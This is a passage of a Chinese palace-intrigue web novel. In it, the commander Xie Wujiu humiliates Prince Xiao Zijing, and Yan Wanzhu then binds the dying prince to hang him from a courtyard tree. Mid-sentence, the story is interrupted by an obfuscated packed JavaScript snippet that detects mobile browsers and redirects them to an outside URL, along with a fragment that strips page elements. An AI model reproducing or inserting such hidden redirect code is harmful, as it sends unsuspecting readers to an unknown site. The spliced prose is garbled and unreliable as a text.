他的动作不紧不慢,萧子景却咽了咽口水,梗着脖子连一动都不敢动了。 谁知道这个变态还要干什么! “让本督看看……” 谢无咎的语气越发轻柔,近乎耳语般地又朝着萧子景靠近了几分。 “她说的没错,你确实是个睁眼瞎,连亲自发现的真相,都能轻易放弃。” 萧子景正打算拼死挣扎,听着这话不由得又愣住了。 这是什么意思? “不过呢,本督还得感谢你是个睁眼瞎,否则的话,本督怎么能找到趁虚而入的机会,让她多看我几眼呢?” 谢无咎还在说着,字字诛心,萧子景感到一阵寒气从脚心朝着自己的脑门猛冲了上来。 是真的? 他最开始的猜测就是真的! 叶晚竹就是在和谢无咎这个阉贼厮混! “不要脸的东西!”萧子景用力从牙缝里挤出一句话,“你这没根的残废,竟敢,你竟敢——” “怎么,王爷看见过?” 看着萧子景已经被气得肿胀的脑袋,又听着这话,谢无咎的笑容越发舒畅。 两人之间的距离太近,谢无咎又刻意放轻了声音,这会儿他的话,只有萧子景才能听得见。 “本督向来洁身自好,想来景平王是没有机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816596|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会偷窥的,不过嘛……王爷雄风不在,这倒是板上钉钉的事实吧?” 笑眯眯地拍了拍萧子景的脸,谢无咎一直维持的玩味表情之中,终于泄露出了一丝嫌恶。 “谁才是没用的东西?” 萧子景定定地盯着谢无咎看了片刻,而后忽然一声呛咳,又猛地喷出了一大口血! 发乌的颜色落在他衣襟上,这一口心头血也让萧子景浑身瘫软,咚地一声倒在了地上。 天旋地转,视线漂移,萧子景努力睁大双眼,视线中出现了一双鞋子。 下一刻,他被叶晚竹一脚踢得仰面朝天。 “阿,阿竹,阿竹!” 口中断断续续地仍有鲜血涌出,萧子景也不管不顾了,他昂着脑袋,用尽浑身的力气去蹭着叶晚竹的小腿和脚踝。 “阿竹,我知道错了,我真的知道错了,你原谅我,你回来,好不好?” 叶晚竹俯下身子,略带好笑地看着萧子景。 她方才虽然听得不够真切,但谢无咎大概说了什么,叶晚竹还是能猜到的。 在听了那些话之后,萧子景的想法竟然是想让她回心转意? 看来他是已经彻底疯了,再也不能生出半分想抵抗的念头。 想到这儿,叶晚竹也感到了一阵彻底的厌烦。 不再出招,那萧子景便连对手都算不上了。 “谢都督。” 后退半步,叶晚竹朝着谢无咎看了过去。 “可否借院中那棵大树一用?” 东厂前院里种着一棵四五人才能环抱的树,枝繁叶茂,树根不知道用多少贪官污吏的血浇灌过,长得格外粗壮。 谢无咎又看了萧子景一眼,眼中立刻闪过了一丝兴味。 “自然可以。”他略一颔首,又朝着屋外招呼,“去取绳子来!” 片刻后,叶晚竹亲手又在已经奄奄一息的萧子景身上绑好了麻绳,将他吊起来,往树冠的方向而去。 “萧子景。” 动手之前,叶晚竹最后也拍了拍他的脸。 “这种死法,你也应该感受一下。”